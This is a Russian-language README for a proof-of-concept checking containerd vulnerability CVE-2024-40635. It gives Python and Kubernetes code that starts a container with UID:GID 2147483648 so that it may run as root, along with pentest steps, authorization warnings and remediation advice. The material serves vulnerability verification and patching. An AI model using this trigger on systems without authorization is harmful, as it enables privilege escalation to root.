CVE-2024-40635_POC

PoC-код для подтверждения уязвимости CVE-2024-40635 Данные взяты отсюда: https://nvd.nist.gov/vuln/detail/CVE-2024-40635

1. Импорт библиотеки Docker

import docker

Это импортирует библиотеку Python docker, которая позволяет взаимодействовать с Docker через его API. Если эта библиотека не установлена, её можно добавить, выполнив:

pip install docker

2. Инициализация Docker-клиента

client = docker.from_env()

Здесь мы создаём объект Docker-клиента с помощью метода docker.from_env(). Он подключается к демону Docker, запущенному на вашей машине (или на удалённом хосте, если это настроено).

3. Определение функции для проверки уязвимости

def is_system_vulnerable(container):
    try:
        # Inspect container details
        details = container.attrs
        uid_gid = details['Config']['User']
        print(f"Container UID:GID = {uid_gid}")  # Print the UID:GID
        if uid_gid == "0:0":  # Root UID:GID
            return True
        return False
    except Exception as e:
        print(f"Error checking container details: {e}")
        return False

• Назначение: Эта функция проверяет, уязвима ли система, исследуя атрибуты созданного контейнера.

• Ключевые шаги:

  • container.attrs: получает все метаданные о контейнере (конфигурацию, параметры выполнения и т. д.).

  • details['Config']['User']: извлекает UID:GID (идентификатор пользователя и группы), под которым работает контейнер. Именно это свойство мы проверяем.

  • print(f"Container UID:GID = {uid_gid}"): всегда выводит UID:GID для наглядности.

  • Проверка уязвимости: Если UID:GID равен "0:0", это указывает на то, что контейнер работает с правами root, и система уязвима.

4. Запуск Docker-контейнера

container = client.containers.run(
    "vulnerable-image",  # Replace with your test image
    user="2147483648:2147483648",  # UID:GID exceeding 32-bit signed integer
    detach=True
)

• client.containers.run: создаёт и запускает Docker-контейнер.

  • "vulnerable-image": замените это на имя реального Docker-образа, подходящего для тестирования.

  • user="2147483648:2147483648": здесь мы задаём пользовательский идентификатор пользователя и группы (UID:GID). Значения превышают диапазон 32-битного знакового целого, что и является условием срабатывания уязвимости.

  • detach=True: это обеспечивает работу контейнера в фоновом режиме, позволяя скрипту продолжить выполнение, не дожидаясь завершения работы контейнера.

5. Проверка на ошибки

try:
    ...
except Exception as e:
    print(f"Error: {e}")

Этот блок try-except гарантирует, что любые ошибки при создании или выполнении контейнера будут перехвачены и выведены, что предотвращает аварийное завершение скрипта.

6. Вывод идентификатора контейнера

print(f"Container {container.id} started.")

После успешного создания и запуска контейнера выводится его уникальный идентификатор для справки. Это полезно для отладки или дальнейшего исследования контейнера.

7. Вызов проверки уязвимости

if is_system_vulnerable(container):
    print("System is vulnerable: Container is running as root!")
else:
    print("System is not vulnerable.")

Здесь вызывается функция is_system_vulnerable, в которую передаётся созданный контейнер в качестве аргумента.

В зависимости от результата (True — уязвима, False — не уязвима) выводится соответствующее сообщение.

8. Детали выходных данных

Скрипт предназначен для предоставления подробной информации в своих выходных данных, в том числе:

• UID:GID, назначенный контейнеру.

• Чёткое указание на то, уязвима система или нет.

Пример прохождения:

Представьте, что этот скрипт запущен в тестовой среде, и происходит следующее:

1. Создаётся контейнер с использованием уязвимого образа и пользователя 2147483648:2147483648.
2. При проверке уязвимости система интерпретирует эти идентификаторы как 0:0 (root), из-за чего контейнер запускается с правами root.
3. Скрипт выявляет такое поведение и выводит:

Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!

В качестве альтернативы, если система корректно обрабатывает большие значения UID:GID и не сопоставляет их с root, вы можете увидеть:

Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.

Примечания по тестированию:

• Используйте изолированную среду (например, виртуальную машину), чтобы не подвергать риску производственные системы.
• Замените "vulnerable-image" на Docker-образ, подходящий для вашего тестового сценария (например, образ с минимальными зависимостями).
• Убедитесь, что Docker установлен и доступен из окружения Python.

Запуск из среды выполнения

Запуск этого PoC (proof of concept) в реальной среде, такой как Kubernetes и Harbor, для пентеста требует тщательного планирования, чтобы тестирование было контролируемым, этичным и результативным. Вот разбивка того, как это можно сделать:

1. Планирование и подготовка Определите объём работ: задайте границы тестирования. Убедитесь, что у вас есть явное разрешение на проведение пентеста в реальной среде.

2. Резервное копирование: создайте резервные копии критически важных систем и контейнеров на случай, если тестирование повлияет на их доступность или данные.

3. Тестовая среда: выделите отдельное пространство имён или кластер в Kubernetes, предназначенное для этого PoC, чтобы не затронуть производственные рабочие нагрузки.

2. Использование Kubernetes для тестирования Вот как можно интегрировать PoC в Kubernetes: a. Разверните уязвимую версию

• Разверните контейнер с использованием уязвимой версии containerd (v1.6.35-gke.0) в вашем кластере Kubernetes.

• Используйте Docker-образ (например, "vulnerable-image") с минимальными зависимостями, чтобы уменьшить поверхность атаки.

Пример YAML для развёртывания в Kubernetes:

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-pod
  namespace: pentest
spec:
  containers:
  - name: vulnerable-container
    image: vulnerable-image  # Replace with your test image
    securityContext:
      runAsUser: 2147483648  # Intentionally exceed 32-bit signed integer
      runAsGroup: 2147483648

Примените YAML с помощью:

kubectl apply -f pod.yml

b. Проверьте с помощью PoC

• Запустите разработанный вами Python-скрипт с машины, имеющей доступ к кластеру Kubernetes. Например, можно изменить скрипт для взаимодействия с Kubernetes с помощью библиотеки kubernetes для Python.

• Установите её с помощью:

pip install kubernetes

Вот обновлённый фрагмент для интеграции с Kubernetes:

from kubernetes import client, config

# Load Kubernetes configuration
config.load_kube_config()

# Create a Kubernetes API client
v1 = client.CoreV1Api()

# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
    pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
    uid = pod.spec.containers[0].security_context.run_as_user
    gid = pod.spec.containers[0].security_context.run_as_group
    print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
    if uid == 0 and gid == 0:
        print("System is vulnerable: Pod is running as root!")
    else:
        print("System is not vulnerable.")

check_pod_user("vulnerable-pod", "pentest")

3. Использование Harbor для управления образами Поскольку Harbor — это реестр контейнеров, вы можете:

• Загрузить уязвимый образ: присвойте тег вашему уязвимому образу и отправьте его в Harbor:

docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest

• Извлечь образ для тестирования: убедитесь, что под Kubernetes использует образ из Harbor, указав полный путь Harbor в поле image в YAML-файле.

Harbor позволяет контролировать доступ к образам, поэтому ограничьте доступ, чтобы уязвимый образ использовался только в пентесте.

4. Подтверждение и документирование результатов

• Подтверждение: после запуска PoC проверьте журналы на наличие признаков срабатывания уязвимости. Например, подтвердите, работает ли контейнер (или под) с правами root.

• Документирование: зафиксируйте свои выводы, например:

  • UID:GID, назначенный контейнеру или поду.
  • Журналы или выходные данные, указывающие, уязвима ли система.
  • Рекомендации по устранению уязвимости (например, обновление containerd до исправленной версии).

5. Устранение уязвимости После завершения тестирования:

• Исправьте свою среду, обновив containerd до исправленной версии (1.6.38 или новее).
• Примените политики безопасности (например, с помощью PodSecurityPolicy или Open Policy Agent), чтобы запретить запуск контейнеров с небезопасной конфигурацией UID:GID.

Предупреждение

• Проводите тестирование только в среде, которой вы управляете или на которую имеете явное разрешение.
• Убедитесь, что уязвимый образ не разворачивается за пределами тестовой среды.
• Ответственно подходите к работе с чувствительными находками, сообщая о них в вашу организацию.